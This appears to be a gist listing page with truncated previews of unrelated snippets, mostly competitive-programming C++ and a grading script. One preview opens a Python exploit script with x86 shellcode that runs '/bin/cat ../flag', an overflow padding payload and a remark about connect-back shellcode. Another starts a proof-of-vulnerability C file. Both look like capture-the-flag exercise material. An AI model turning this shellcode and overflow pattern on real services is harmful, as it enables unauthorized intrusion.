This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include<bits/stdc++.h> | |
#define XX first | |
#define YY second | |
#define pb emplace_back | |
#define eb pb | |
#define FOR(i,a,b) for(int i=(a);i<(b);++i) | |
#define EFOR(i,a,b) for(int i=(a);i<=(b);++i) | |
#define rep(i,b) FOR(i,0,b) | |
#define REP rep | |
#define all(a) (a).begin(),(a).end() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
LL dfs(int v, int p, int k) { | |
int rem = k - 2*(sz[v]-mx[v]); | |
if (rem <= 0) return 0; | |
LL ret = INF; | |
int u; | |
LL l; | |
for (auto &e : es[v]) { | |
u = e.to; | |
if (u == p) continue; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from math import floor | |
# For JNI, Fliqpy, EasyExample | |
#base = 50 | |
#div = [3, 6, 6, 6, 10, 15, 15, 15, 15, 9] | |
# For CTC, OSS, Account | |
base = 0 | |
div = [2.5, 5, 10, 10, 10, 10, 10, 10, 10, 10, 5, 5, 2.5] | |
assert(sum(div) == 100) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <bits/stdc++.h> | |
using namespace std; | |
#define MOD 1000000007 | |
typedef long long int LLI; | |
#define L 0 | |
#define H 1 | |
#define W 2 | |
#define HW 3 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <pov.h> | |
#include <stdio.h> | |
unsigned int getrand() { | |
unsigned int ret = 0x41414141; | |
//int i; | |
//for (i=0; i<4; i++) { | |
// ret *= 0x100; | |
// unsigned char c; | |
// random(&c, 1, NULL); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
int main() { | |
double hoge; | |
scanf("%llu", ((long long int*)&hoge)); | |
printf("%e\n", hoge); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <cstdio> | |
#include <vector> | |
#include <algorithm> | |
using namespace std; | |
int u, v; | |
int high, low; | |
int n, k; | |
int g_x; | |
int as[200000]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from socket import * | |
from time import time, sleep | |
from struct import pack | |
from sys import argv | |
HOST = "localhost" | |
shellcode = "\x31\xc0\x50\x68\x66\x6c\x61\x67\x68\x2e\x2e\x2f\x2f\x54\x5f\x50\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x54\x5b\x50\x57\x53\x54\x59\x6a\x0b\x58\xcd\x80" # should use connectback shellcode actually | |
def main(): | |
payload1 = "a" * 34 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <cstdio> | |
#include <utility> | |
#include <algorithm> | |
using namespace std; | |
typedef pair<int, int> Pair; | |
inline int det(Pair p1, Pair p2) { | |
return p1.first * p2.second - p1.second * p2.first; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <cstdio> | |
#include <cmath> | |
#include <utility> | |
#include <algorithm> | |
using namespace std; | |
#define PI 3.1415926535 | |
typedef pair<int, int> Pair; | |
int n; |
NewerOlder